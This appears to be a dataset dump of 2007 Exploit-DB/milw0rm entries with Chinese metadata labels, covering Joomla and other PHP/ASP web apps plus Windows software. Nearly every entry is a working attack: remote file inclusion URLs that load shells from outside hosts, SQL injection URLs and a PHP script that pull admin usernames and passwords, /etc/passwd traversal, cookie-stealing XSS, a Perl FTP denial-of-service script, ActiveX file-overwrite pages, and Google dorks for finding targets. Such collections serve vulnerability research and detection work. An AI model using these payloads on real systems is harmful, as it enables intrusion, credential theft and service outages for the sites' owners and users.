QLWD/code_shield huggingface dataset:
标题: Joomla! Component JContentSubscription 1.5.8 - Multiple Remote File Inclusions EDB-ID: 4508 CVE: 2007-5407 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-10 漏洞利用脚本: # JContentSubscription Joomla Component 1.5.8 Multiply Remote File Include Vulnerability

   Component    : com_jcs version 1.5.8 - payable component
   Dicovered by : NoGe
   Contact      : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable file

   /administrator/components/com_jcs/jcs.function.php

   line 6 require_once( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/add.php

   line 7 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/history.php

   line 7 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/view/register.php

   line 6 require( $mosConfig_absolute_path.'/components/com_jcs/languages/english.php' );

   /administrator/components/com_jcs/views/list.sub.html.php

   line 3 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

   /administrator/components/com_jcs/views/list.user.sub.html.php

   line 7 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

   /administrator/components/com_jcs/views/reports.html.php

   line 3 require_once( $mosConfig_absolute_path ."/administrator/components/com_jcs/menubar.php" );

# Exploit

   http://localhost/path/administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=[evilcode]
   http://localhost/path/administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=[evilcode]

# Google dork

   inurl:com_jcs

==================================================================================================================================

# Greetz

   all crew #papuahacker #baliemhackerlink #nyubicrew
   skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie str0ke
   yooogy H312Y Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
   http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-10] URL: https://www.exploit-db.com/exploits/4508
标题: PHP Homepage M 1.0 - 'galerie.php' SQL Injection EDB-ID: 4501 CVE: 2007-5308 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: <?php
if ($argv[1] == '')
{
echo "--PHP Homepage M V.1.0 galerie.php Exploit----\n";
echo "only with magic_quotes_gpc OFF\n";
echo "by [PHCN] Mahjong\n";
echo "Usage : phpHPmv1.php http://127.0.0.1 / 1\n";
echo '----------------------------------------------';
}
else
{
$host = $argv[1];
$path = $argv[2];
$userid = $argv[3];

$data = $host.$path."galerie.php?act=show&id=99999'+UNION+SELECT+username,passwort,passwort,passwort+FROM+user+WHERE+U ID='$userid";
$data = file_get_contents($data);
$pw = substr($data,strpos($data,'<img border="0" src=\'bilder/')+28,30);
$pw = explode('.',$pw);
$pw = $pw[0];
$user = substr($data,strpos($data,'UID=\''.$userid.'\'<h1 align="center">',30));
$user = explode('>',$user);
$user = strrev($user[1]);
$user = substr($user,4,100);
$user = strrev($user);

echo "--EXPLOIT FINISHED--\n";
echo "userid : $userid\n";
echo "username: $user\n";
echo "password: $pw\n";
echo '--------------------';
}


?>

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4501
标题: Joomla! Component wmtportfolio 1.0 - Remote File Inclusion EDB-ID: 4497 CVE: 2007-5310 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-07 漏洞利用脚本: # wmtportfolio joomla component 1.0 Remote File Include Vulnerability

 Component       : com_wmtportfolio version 1.0
 Download script : http://www.webmaster-tips.net/
 Dicovered by    : NoGe
 Contact         : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable found in /administrator/components/com_wmtportfolio/admin.wmtportfolio.php

 line 5 include( $mosConfig_absolute_path . "/components/com_wmtportfolio/additems.php" );


# Exploit

 
http://localhost/path/administrator/components/com_wmtportfolio/admin.wmtportfolio.php?mosConfig_absolute_path=[evilcode]


# google dork

 inurl:com_wmtportfolio

==================================================================================================================================

# Greetz

 [-] all crew #papuahacker #nyubicrew #baliemhackerlink
 [-] skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie
 [-] yooogy Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
 [-] http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-07] URL: https://www.exploit-db.com/exploits/4497
标题: Joomla! Component mosmedialite451 - Remote File Inclusion EDB-ID: 4499 CVE: 2007-5362 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-08 漏洞利用脚本: +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : MOSMediaLite451
Discovered By   : k1n9k0ng
Scripts site    : http://www.djoomla.com/component/option,com_remository/Itemid,2/func,fileinfo/id,104/
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #r.i.p, #x-code, #yogyafree
special To      : adhietslank, babypunk, cyberlog, cah_gemblunkz, the_sims, ARiee, letjen, k1tk4t
site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
include_once( $mosConfig_absolute_path . "/administrator/components/com_mosmedia/mosmedia.config.php" );

bug found:
"http://www.site.net/administrator/components/com_mosmedia/includes/credits.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/info.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/media.divs.js.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/purchase.html.php?mosConfig_absolute_path=[shell] "
"http://www.site.net/administrator/components/com_mosmedia/includes/support.html.php?mosConfig_absolute_path=[shell] " 

# milw0rm.com [2007-10-08] URL: https://www.exploit-db.com/exploits/4499
标题: Joomla! Component Flash Image Gallery - Remote File Inclusion EDB-ID: 4496 CVE: 2007-5309 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-07 漏洞利用脚本: ============================================
=                                          =
=             XORON  (c) 2007              =
=                                          =
============================================
=                                          =
=Joomla com_wmtgallery Remote File Include  
=                                          =
============================================
=
= Download:
=
= http://www.webmaster-tips.net
=
============================================
=
= Exploit:
= /administrator/components/com_wmtgallery/admin.wmtgallery.php?mosConfig_live_site=shell?
=
============================================
=                                          =
=Tum islam aleminin ramazan bayrami mubarek olsn =
=                                          =
============================================ 

# milw0rm.com [2007-10-07] URL: https://www.exploit-db.com/exploits/4496
标题: Picturesolution 2.1 - 'config.php?path' Remote File Inclusion EDB-ID: 4492 CVE: 2007-5313 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-06 漏洞利用脚本: Picturesolution <= v2.1 (config.php path) Remote File Inclusion Vulnerabilities

Found By : Mogatil , http://www.hackteach.org/cc/ 
Posted By : Cold z3ro , http://www.hackteach.org/cc/


Exploit :

/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?


Example :
http://www.xxx.de/Picssolution/install/config.php?path=http://membres.lycos.fr/prirato1/c99.txt?


==================================================
==================================================
Note To All Frindes And Milw0rm users :

http://www.hackteach.org/cc/ Is Back , Join Us !
Use Our English Forum From This link 
http://today4host.net/scripts/short/?id=682
==================================================
==================================================

# milw0rm.com [2007-10-06] URL: https://www.exploit-db.com/exploits/4492
标题: WzdFTPD 0.8.0 - 'USER' Remote Denial of Service EDB-ID: 4498 CVE: 2007-5300 类型: DOS 平台: WINDOWS 发布日期: 2007-10-07 漏洞利用脚本: # Indonesian Newhack Security Advisory
# ------------------------------------
# wzdftpd <= 0.8.0 (USER) Remote Danial of Service
# Waktu            :  Oct 07 2007 05:00AM
# Software        :  wzdftpd 0.8.0
# Version        :  0.8.0 Linux and Windows
# Vendor        :  http://www.wzdftpd.net/
# Ditemukan oleh    :  k1tk4t  |  http://newhack.org
# Lokasi        :  Indonesia
#
# Tested on Windows XP SP2 and Linux CentOS
#
# C0000005 (ACCESS VIOLATION)
#
# EAX 00000001
# ECX 00A2F410
# EDX 003E0608
# EBX 00000000
# ESP 00FDEB58
# EBP 00FDFFEC
# ESI 00A25118
# EDI 00000094
#
#
#
#  Terima Kasih untuk;
#  str0ke, DNX, xoron
#  -[opt1lc, fl3xu5, ghoz]-
#  nyubi,iFX,kin9k0ng,bius,selikoer,aldy_BT,NoGe
#  Komunitas Security dan Hacker Indonesia
#
#!/usr/bin/perl
use IO::Socket;

print "\n  |-------------------------------------------------|";
print "\n  |         Indonesian Newhack Technology           |";
print "\n  |-------------------------------------------------|";
print "\n  |  wzdftpd 0.8.0 (USER) Remote Danial of Service  |";
print "\n  |     Found by k1tk4t [k1tk4t(at)newhack.org]     |";
print "\n  |-------------------------------------------------|";
print "\n  |";

if (@ARGV < 2)
{
 print "\n[!] Penggunaan: perl wzdftpd0.8.0.pl [Host] [Port] ";
print "\n[!] Contoh: perl wzdftpd0.8.0.pl 127.0.0.1 21";
 exit;
}


$ip = $ARGV[0];
$port = $ARGV[1];

$exploit = "A" x 8000;

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Koneksi: Gagal!\n";
print "\n[+] Koneksi: Ok!\n";
print "[+] Menggirim Packet DoS...\n";

print $socket "USER $exploit\n";
sleep(5);
close($socket);

print "[?] Mati Sudah!\n";

# milw0rm.com [2007-10-07] URL: https://www.exploit-db.com/exploits/4498
标题: Trionic Cite CMS 1.2rev9 - Remote File Inclusion EDB-ID: 4485 CVE: 2007-5271 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-05 漏洞利用脚本: # Trionic Cite CMS 1.2 rev9 Remote File Inclusion Vulnerabilities
# D.S : http://sourceforge.net/project/showfiles.php?group_id=177347
# POC :
# /[PHAT]/interface/editors/-custom.php?bField[bf_data]=http://localhost/shell.txt
# /[PHAT]/interface/editors/custom.php?bField[bf_data]=http://localhost/shell.txt

# milw0rm.com [2007-10-05] URL: https://www.exploit-db.com/exploits/4485
标题: idmos-phoenix CMS - 'aural.php' Remote File Inclusion EDB-ID: 4495 CVE: 2007-5294 2007-5293 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-07 漏洞利用脚本: idmos-phoenix cms Remote File inclusion
 
Discovered By : HACKERS PAL
Copy rights : HACKERS PAL
Website : http://www.soqor.net
Email Address : security@soqor.net
 
RFI
core/aural.php?site_absolute_path=http://localhost/cmd.txt?&cmd=dir
 
Xss
error.php?err_msg=<script>alert(document.cookie);</script>
templates/simple/ia.php?content=<script>alert(document.cookie);</script>
# WwW.SoQoR.NeT

# milw0rm.com [2007-10-07] URL: https://www.exploit-db.com/exploits/4495
标题: Furkan Tastan Blog - SQL Injection EDB-ID: 4486 CVE: 2007-5272 类型: WEBAPPS 平台: ASP 发布日期: 2007-10-05 漏洞利用脚本: #Title  : Furkan TaÅŸtan Blog Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://furkantastan.somee.com/blog
#Script Download Page: : http://www.aspindir.com/indir.asp?ID=5152

#Vuln.

#Username : /kategori.asp?kat=goster&id=-1+union+select+0,1,adkull,3,4,5,6,7,8+from+ayar
#Password : /kategori.asp?kat=goster&id=-1+union+select+0,1,adsif,3,4,5,6,7,8+from+ayar

#Admin Login : /admin/admin.asp

====================================

Saz ArkadaÅŸlarÄ±m: Hackinger - KinSize - dumenci - Kerem125 - Gsy - F10

And All TURKISH HACKERS !

# milw0rm.com [2007-10-05] URL: https://www.exploit-db.com/exploits/4486
标题: Verlihub Control Panel 1.7.x - Local File Inclusion EDB-ID: 4494 CVE: 2007-5321 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-07 漏洞利用脚本: #####################################################################################
#Verlihub Control Panel v 1.7 PHP 4.x  Local File Inclusion
#http://vhcp.verlihub- project.org/
#
#Bug Found By Methodman
#From TEAMELITE <-> dchub.nemesis.te-home.net:4120
#####################################################################################
#Bug:
#Line: 27 - ini_set("magic_quotes_gpc","1"); ............................ Line: 71 - $page_name =
#isset($_GET['page']) ? $_GET['page'] : (!isset($_SESSION['verliadmin']) ? 'start' : 'start'); .....Line: 145 - #require_once("./pages/$page_name.php");
#####################################################################################
#NEED: magic_quotes=OFF
#
#NEED: disable_functions=ini_set
#####################################################################################
#
#Exploit:
#
#http://site/path/?page=../../../../../../../../etc/passwd%00
#
#
##################################################################################### 
#
#Gr33tZ: To All Members Of TEAMELITE
#       Ashura,Lord_Zero,Meka][Meka,Ne0
#                  AND
#        My Friend  Elekt  From Antichat.
#####################################################################################    
#My 3N3mY ?: ...Mish and Dark If Y0u FUck w1t me,I'll pUt my f00t in y0ur aSs !...
#####################################################################################

# milw0rm.com [2007-10-07] URL: https://www.exploit-db.com/exploits/4494
标题: SkaDate Online 5.0/6.0 - Remote File Disclosure EDB-ID: 4493 CVE: 2007-5299 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-06 漏洞利用脚本: # SkaDate Online Dating Software Remote File Disclosure Vulnerability
# Author : SnIpEr-SA.CoM
# tested verson : 5.0 & 6.0
# Homepage : http://www.skadate.com
# Price: 795.00
# Exp :
# http://www.site.com/member/featured_list.php?view_mode=../../../../file%00
#
# http://www.site.com/member/online_list.php?view_mode=../../../../file%00


# Open Source Code, [o.0]

# dork : Powered by SkaDate Dating 

# milw0rm.com [2007-10-06] URL: https://www.exploit-db.com/exploits/4493
标题: Joomla! Component panoramic 1.0 - Remote File Inclusion EDB-ID: 4489 CVE: 2007-5363 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-06 漏洞利用脚本: ==================================================================================================================================

# panoramic joomla component 1.0 Remote File Include Vulnerability

 Component       : com_panoramic version 1.0
 Download script : http://www.webmaster-tips.net/
 Dicovered by    : NoGe
 Contact         : pace.noge@hotmail.com

==================================================================================================================================

# Vulnerable found in /administrator/components/com_panoramic/admin.panoramic.php

 line 3 include( "$mosConfig_live_site/components/com_panoramic/about.html" );


# Exploit

 
http://localhost/path/administrator/components/com_panoramic/admin.panoramic.php?mosConfig_live_site=[evilcode]


# google dork

 inurl:com_panoramic

==================================================================================================================================

# Greetz

 [-] all crew #papuahacker #nyubicrew #baliemhackerlink
 [-] skulmatic olibekas ulga Cungkee nyubi k1tk4t newbie
 [-] yooogy Vaksin13 Oon_Boy Paman mousekill }^-^{ haliq
 [-] http://kapukvalley.net member

================================================================================================================================== 

# milw0rm.com [2007-10-06] URL: https://www.exploit-db.com/exploits/4489
标题: CMS Creamotion - 'securite.php' Remote File Inclusion EDB-ID: 4491 CVE: 2007-5298 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-06 漏洞利用脚本: #!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*      CMS Creamotion - Remote File include
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*     CMS Creamotion Command Execution       */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<3) {
 print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/ id
/**********************************************/
');
 die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1];
$cmd=$argv[2];
$exploit="/_administration/securite.php?cfg[document_uri]=http://members.lycos.co.uk/soqor10/cmd.txt?";
$page=$url.$exploit;

Function get_page($url)
{

 if(function_exists("file_get_contents"))
 {

  $contents = file_get_contents($url);
 }
 else
 {
  $fp=fopen("$url","r");
  while($line=fread($fp,1024))
  {
   $contents=$contents.$line;
  }


 }
 return $contents;
}
$npage    = get_page($page);


if(eregi("Cannot execute a blank command",$npage))
{
 $pagecmd=$page."&cmd=$cmd";
 Die("\n[+] Exploit Is Working\n[+] Result For CMD : ".get_page($pagecmd)."\n[+] See The Vulnerabiliy article for more informations\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
 Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
#WwW.SoQoR.NeT
?>

# milw0rm.com [2007-10-06] URL: https://www.exploit-db.com/exploits/4491
标题: Pegasus Imaging ImagXpress 8.0 - Arbitrary File Overwrite EDB-ID: 4488 CVE: 2007-5320 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-05 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>Pegasus Imaging ImagXpress 8.0 Remote Arbitrary File Overwrite</b>
 url: http://www.pegasusimaging.com/

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Component name: PegasusImaging.ActiveX.ImagXpress8.dll
 Vesrion: 8.0.41.0
 This component contains an insecure "CompactFile()" which overwrites
 arbitrary files on user's pc.
 Passing to the first parameter (sourceFile) of the method an existing
 file as argument (e.g. a well known file as cmd.exe), the file passed
 as argument to the second parameter (destFile) will be overwrite.</b>
-----------------------------------------------------------------------------
<object classid='clsid:6277B638-833D-4315-9D78-60FC451DAF07' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
  Sub tryMe
   test.CompactFile "c:\windows\system32\cmd.exe", "c:\windows\system_.ini"
   MsgBox "Exploit completed."
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-05] URL: https://www.exploit-db.com/exploits/4488
标题: CyberLink PowerDVD - CreateNewFile Remote Rewrite Denial of Service EDB-ID: 4479 CVE: 2007-5219 类型: DOS 平台: WINDOWS 发布日期: 2007-10-01 漏洞利用脚本: <!--
CyberLink PowerDVD CLAVSetting Module (CLAVSetting.DLL 1.00.1829) arbitrary remote rewrite dos

this is installed by default on Acer Travelmate series
allows to overwrite files with an empty one
extension doesn't matter

object safety report:
RegKey Safe for Script: False
RegKey Safe for Init: False
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller

rgod
-->
<html>
<object classid='clsid:0990EDE2-3498-43D0-971D-D5321C893210' id='CLSetting' /></object>
<script language='vbscript'>
CLSetting.CreateNewFile "..\..\..\..\..\..\..\..\boot.ini"
</script>
</html>

# milw0rm.com [2007-10-01] URL: https://www.exploit-db.com/exploits/4479
标题: Web Template Management System 1.3 - SQL Injection EDB-ID: 4482 CVE: 2007-5233 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-04 漏洞利用脚本: #############################Nyubicrew Community################################
#
#  deonixscripts (id) Remote Sql Injection
#
#  vendor : http://www.deonixscripts.com/
#  Demo : http://www.deonixscripts.com/demo/tplmgt13/
#
#################################################################################
#
#
#       Bug Found By :home_edition2001 a.k.a (bius) (31-08-2007)
#
#       contact: bius22@mac.com
#
#       Website : www.solpotcrew.org/adv/home_edition2001-adv-03.txt
#
################################################################################
#
#
#      Greetz: Nyubi aka solpot , Matdhule , S4M3K ,[DEVIL_MAY_CRY] , iFX , Scr3W_W0rM , 
#              nakkuta , bukan-diriku , POET , Th0nk , mbako_semprul , Fungky , airsoul
#              wong_edan , ^s0n_g0ku^ , aLiiF , sparta-x , dudut , xtremeshell , Bithedz
#              th3sn0wbr4in , ReAksi , X8 , junkiest , K1tk4t , masboi , saritem
#              x-ace , replacement_killer , LamerCrew , k1n9k0ng ,[K]ompoR_Meledu[K]
#              and all member #nyubicrew @ irc.mildnet.org
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "id" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by Remote Sql Injection

P.O.C :

http://localhost/index.php?action=readmore&id=-1%20union%20select%200,1,concat(email,0x3a,userid,0x3a,adminid),3%20from%20admin/*
http://localhost/index.php?action=readmore&id=-1%20union%20select%200,1,@@version,3/*

Google Dork : Powered by: deonixscripts.com

######################MY Special Girl JUST FOR U Ula#########################
######################################E.O.F##################################

# milw0rm.com [2007-10-04] URL: https://www.exploit-db.com/exploits/4482
标题: Poppawid 2.7 - 'form' Remote File Inclusion EDB-ID: 4481 CVE: 2007-5221 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-02 漏洞利用脚本: #Poppawid Remote File include
#f0und bY 0in
#Greetings to: All Dark-Coders Team Members
#IRC: #dark-coders at warszawa.irc.pl
#About:popper_mod-wid is a free (and popular), full featured web based email client
#Download:http://poppawid.sourceforge.net/
#No dork for script kiddies..;]
#Register_globals=On
#BUG:
poppawid/mail/childwindow.inc.php:33:                                   <?php include($form.".form.inc.php");?>
Expl0it:
http://x.com/[path]/mail/childwindow.inc.php?form=http://h4x0r.org/shell.txt?

# milw0rm.com [2007-10-02] URL: https://www.exploit-db.com/exploits/4481